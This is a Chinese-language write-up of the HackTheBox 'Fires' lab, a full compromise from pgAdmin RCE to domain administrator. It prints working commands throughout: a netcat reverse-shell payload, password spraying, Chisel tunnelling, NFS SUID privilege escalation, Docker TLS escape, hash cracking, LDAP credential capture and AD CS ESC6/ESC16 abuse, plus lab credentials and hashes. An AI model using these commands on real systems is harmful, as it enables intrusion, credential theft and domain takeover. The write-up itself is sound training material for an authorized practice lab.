HTB Fires 靶场 Writeup
靶场已知信息: d.cooper@fries.htb / D4LE11maan!!
nmap
1 | ┌──(echoin㉿kali)-[~] |
80 http

443 https


登录 d.cooper@fries.htb / D4LE11maan!!
但是都登不进去


报错:
无法连接Idap URL,错误:无法绑定ldaps://dc01.fries.htb:636作为CN=svc_infra, CN=Users, DC=fries, DC=htb 原: CommunicationException (dc01.fries.htb: 636;服务器证书{subject=}与PWiM配置信任存储中的证书不匹配。
意思是:dc01.fries.htb:636 返回的 LDAPS 服务器证书,和 PWiM/PWM 配置里信任的证书不一致。类似 PWM/SSPR 的 LDAPS 报错就是这个形式:服务端证书不在应用自己的 trust store 里,或者证书换了但应用里还是旧证书
但是namp的时候636端口开了

扫子域名
1 | ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.fries.htb" -u http://fries.htb -fs 154 |

code.fries.htb

登录 d.cooper@fries.htb / D4LE11maan!!


是一个docker


这个admin没什么用
有很多修改记录

一个子域名:
1 | http://db-mgmt05.fries.htb |
访问:是一个pgadmin的登录


PostgreSQL数据库的URL和密钥
1 | DATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db |
用户名root
密码PsgLR00tpass11
IP:172.18.0.3:5432
数据库名:ps_db
用d.cooper@fries.htb / D4LE11maan!!登录

但是用得到的密码登录,不行
cve

可以使用 Metasploit 的 exploit/multi/http/pgadmin_query_tool_authenticated 模块(不太行)
或独立的 Python 脚本 https://github.com/Cycloctane/cve-2025-2945-poc/blob/main/exp.py。
运行 exploit 脚本,使用简单的文件创建载荷来验证代码执行:
反弹shell
1 | python exp.py --target-url http://db-mgmt05.fries.htb --username d.cooper@fries.htb --password 'D4LE11maan!!' --db-name ps_db --db-user root --db-pass 'PsqLR00tpaSS11' --payload "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.15.99 9001 >/tmp/f')" |


信息搜集:
1 | cb46692a4590:/$ env |
发现
- password:Friesf00Ds2025!!
- email:admin@fries.htb
对已知用户名和密码进行密码喷撒
1 | hydra -L user.txt -P passwords.txt -vV -e ns 10.129.244.72 ssh |

ssh
1 | ssh svc@10.129.244.72 |

信息收集
PostgreSQL数据库的ip可ping通

网络配置ip route

不能fscan扫端口,没有admin权限无法创建文件
扫描内部网络常见端口
1 | python3 -c "import socket; services={22:'SSH', 80:'HTTP', 111:'RPC', 443:'HTTPS', 2049:'NFS', 3000:'Node.js', 8443:'HTTPS-Alt'}; [print(f'Port {p} ({services.get(p, \"Unknown\")}) - Open') for p in [22,80,111,443,2049,3000,8443] if socket.socket().connect_ex(('172.18.0.1', p)) == 0]" |
1 | Port 22 (SSH) - Open |
2049 NFS!
NFS默认使用的是111端口,使用port参数可以改变这个端口值
2049端口漏洞是,NFS(网络文件系统)共享漏洞是指在NFS 服务的配置或实现过程中存在的安全缺陷,可能导致未经授权的访问、数据泄露、数据篡改或系统被攻击等安全问题。 这个可以传到网页上拿webshell
查询目标主机 NFS 挂载信息 :
1 | svc@web:/$ showmount -e 172.18.0.1 //查目标开放了哪些 NFS 共享目录 |
| 命令 | 查到的内容 | 结论 |
|---|---|---|
showmount -e 172.18.0.1 |
/srv/web.fries.htb * |
172.18.0.1 对外共享了 /srv/web.fries.htb |
showmount --all 172.18.0.1 |
192.168.100.2:/srv/web.fries.htb |
已经有 192.168.100.2 这个客户端挂载过这个 NFS 目录 |
showmount --exports 192.168.100.2 |
/srv/web.fries.htb * |
192.168.100.2 也在暴露同名 NFS 共享 |

直接搜索这个目录已经存在,但是权限不够,有一个webroot用户
不能直接转到webroot目录,但是可以直接写 Web 根目录

写入了但是访问不了,说明写码不行
/etc/passwd发现数据库用户 barman
是Backup and Recovery Manager for PostgreSQL (PostgreSQL的备份与恢复管理器)

ok,理一下:
现在在外网,在git里信息搜集得到一组数据库信息,利用pgadmin漏洞rce拿到shell,拿到了postgreSQL的管理后台pgadmin用户,在env中找到一个密码,密码喷洒找到一个svc用户,因为ssh端口开放,就直接ssh连接,连接上之后扫端口,发现挂载这NFS共享服务,检测出2个对外共享的ip,发现一个webroot用户可写入根目录,但是访问不了,说明无法写码,当前svc用户的权限也很低,再信息搜集找到一个postgreSQL数据库用户,获得了uid和gid,这个barman是PostgreSQL的备份与恢复管理器,权限挺高,可以从这里入手
现在有NFS内网服务端口,用户的UID和GID,NFS对所有内网IP开放,并且可读写,基于NFS的UID/GID认证机制,我们可以尝试这样的SUID攻击
Chisel 建立反向代理
Kali 端:
1 | ./chisel server -p 8011 --reverse |
目标端:
1 | ./chisel client 10.10.15.99:8011 R:2049:172.18.0.1:2049 R:111:172.18.0.1:111 |
SUID提权!
在kali上创建冒充barman的用户A033,用Chisel转发NFS端口以支持kali正常访问该服务,在kali上挂载NFS共享,将svc的bash复制到共享目录下,使用A033的身份复制svc的bash并赋予完全权限,这时以svc运行这个具有SUID位的bash时就会从svc用户转移到barman用户。
在 Kali 上创建匹配用户
1 | sudo groupadd -g 59605603 A033 |
挂载 NFS 共享
1 | sudo mount -t nfs -o vers=4,port=2049 localhost:/srv/web.fries.htb /mnt/fries |
创建恶意 SUID Shell
svc:
切换到NFS共享目录
1 | cd /srv/web.fries.htb/shared |
复制bash到共享目录,为后续SUID提权准备
1 | cp /bin/bash /srv/web.fries.htb/shared/svc_bash |
kali:
在NFS共享中复制svc创建的bash文件
1 | sudo setpriv --reuid=117 --regid=59605603 --clear-groups /bin/bash -c ' |
其中:
在NFS共享中复制svc创建的bash文件:
1 | cp /mnt/fries/shared/svc_bash /mnt/fries/shared/A033_bash |
设置SUID+SGID权限,使任何用户执行时都以文件所有者权限运行:
1 | chmod 6777 /mnt/fries/shared/A033_bash |
svc:
执行SUID bash,-p参数保持特权权限,实现提权:
1 | ./A033_bash -p |

成功移动到 barman
Docker TLS 逃逸!
共享目录里的证书文件
1 | svc@web:/srv/web.fries.htb/shared$ cd /srv/web.fries.htb/shared |
这个运维配置了理论上的安全机制:
通信是加密的,很安全!
只有有证书的人能连接,很安全!
命令还要经过审批,很安全!
但是 barman 属于 infra managers 组,可以读取所有 root 拥有的证书文件,并且 Docker 守护进程现在正以 root 权限运行,barman 可以用 CA 签发伪造证书,绕过 TLS 和插件的认证,提权到 root 掌控整个 WEB 服务器。
生成客户端证书
1 | # 生成 RSA 私钥,用于客户端认证 |
使用伪造的证书连接 Docker API
1 | docker --tlsverify -H=127.0.0.1:2376 --tlscacert=ca.pem --tlscert=root-cert.pem --tlskey=root-key.pem run -it --privileged -v /:/host fries-web bash |
逃逸到主机
1 | chroot /host |

在 /root/.ssh 中找到私钥 id_rsa,保存到并登录

1 | ssh -i root_id_rsa root@fries.htb //kali要提权 |

现在进到内网里了,开始域渗透
域渗透
信息收集
在 /root/scripts/pwm/config/ 中找到 PWM 的配置文件 PwmConfiguration.xml
在配置文件里找到一个密码的hash
1 | <property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property> |
将结果保存至 hashl.txt 文件
1 | echo '$2y$04$WlTubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG' > pwm_hash.txt |
破解密码:
1 | hashcat -m 3200 -a 0 pwm_hash.txt /usr/share/wordlists/rockyou.txt |
破解结果:rockon!

这个密码对应pwm的configuration manager 和 editor


能下载到刚才找到的配置文件,提示了有安全信息

ldap信息
域控:DC01.fries.htb

找到一个管理员用户svc_infra,密码未知

PWM 认证劫持
在 PWM 中添加恶意 LDAP 服务器(kali),然后在msf上监听


监听到ldap的验证密码。是svc_infra的密码 m6tneOMAh5p0wQ0d

BloodHound
时间同步
1 | sudo ntpdate 10.129.244.72 |
收集 BloodHound 数据
1 | nxc ldap dc01.fries.htb -d fries.htb -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' --bloodhound --collection All --dns-server 10.129.244.72 |
启动:
1 | cd ~/桌面/tool/BloodHound-linux-x64 |
分析:
SVC_INFRA
所属组:DOMAIN USERS
可获得GMSA_CA_PROD$的密码
GMSA_CA_PROD同时属于REMOTE MANAGEMENT USERS组和DOMAIN COMPUTERS组




所以,svc_infra是DOMAIN USERS 组的成员,svc_infra有ReadGMSAPassword权限利用权限,可以拿到GMSA_CA_PROD$@FRIES.HTB的密码,GMSA_CA_PROD同时属于REMOTE MANAGEMENT USERS组,可以登录WinRM,GMSA_CA_PROD$@FRIES.HTB是组服务管理账户,可以管理CA
AD CS 利用链:
1 | SVC_INFRA 能读 gMSA 密码 |
ReadGMSAPassword权限利用!
1 | nxc ldap -d fries.htb -u svc_infra -p "m6tneOMAh5p0wQ0d" -k --gmsa dc01.fries.htb |

成功获得gMSA_CA_prod用户 哈希值:f6118585da63c6810f795676f8ddc87d
直接使用evil-winrm登录:
1 | evil-winrm -i dc01.fries.htb -u 'gMSA_CA_prod$' -H "f6118585da63c6810f795676f8ddc87d" |

现在是gMSA_CA_prod用户
AD CS 利用 提权!
上传Certify工具查找 当前用户所属组能利用的证书模板
1 | .\Certify.exe find /vulnerable /currentuser |

发现当前用户gMSA_CA_prod具有ManageCA权限,这意味着只要将当前用户赋予Certificate Officer权限,就可以任意更改证书颁发机构fries-DC01-CA的设置。
除此之外,当前用户还具有Enroll用户证书的权限,且证书模板User处于激活状态。
鉴于目前我们已经获得域证书机构的控制权,决定通过开启CA的EDITF_ATTRIBUTESUBJECTALTNAME2参数(该参数开启时允许请求证书时指定任意SAN名称)以及关闭szOID_NTDS_CA_SECURITY_EXT安全插件的方法进行ADCS提权,即组合利用ESC6和ESC16漏洞。
AD CS 证书攻击(ESC6 + ESC16)
首先使用certipy-ad的ca模块,利用ManageCA权限赋予当前用户Certificate Officer权限:
1 | certipy-ad ca -u 'gMSA_CA_prod$'@fries.htb -hashes aad3b435b51404eeaad3b435b51404ee:f6118585da63c6810f795676f8ddc87d -target dc01.fries.htb -dc-ip 10.129.244.72 -ca fries-DC01-CA -add-officer 'gMSA_CA_prod$' |

成功添加管理权限
随后利用上传的certify工具启用指定证书SAN名称功能,并关闭证书安全插件
1 | .\Certify.exe manage-ca --ca FRIES.HTB\fries-DC01-CA --esc6 |
操作完成后手动重启certsvc服务:
1 | Stop-Service certsvc -Force |
请求管理员证书
1 | certipy-ad req -u svc_infra@fries.htb -p "m6tneOMAh5p0wQ0d" -target dc01.fries.htb -dc-ip 10.129.244.72 -ca fries-DC01-CA -template User -upn Administrator@fries.htb -sid "S-1-5-21-858338346-3861030516-3975240472-515" -subject "CN=Administrator,CN=Users,DC=fries,DC=htb" -dcom |
sid:S-1-5-21-858338346-3861030516-3975240472-515

请求域管理员证书成功
认证获取管理员哈希
1 | certipy-ad auth -pfx svc_infra.pfx -username administrator -domain fries.htb -dc-ip 10.129.244.72 |
使用管理员 NTLM 哈希登录
1 | evil-winrm -u administrator -H {A033_REDACTED} -i 10.129.244.72 |
在 C:\Users\Administrator\Desktop\ 中找到root.txt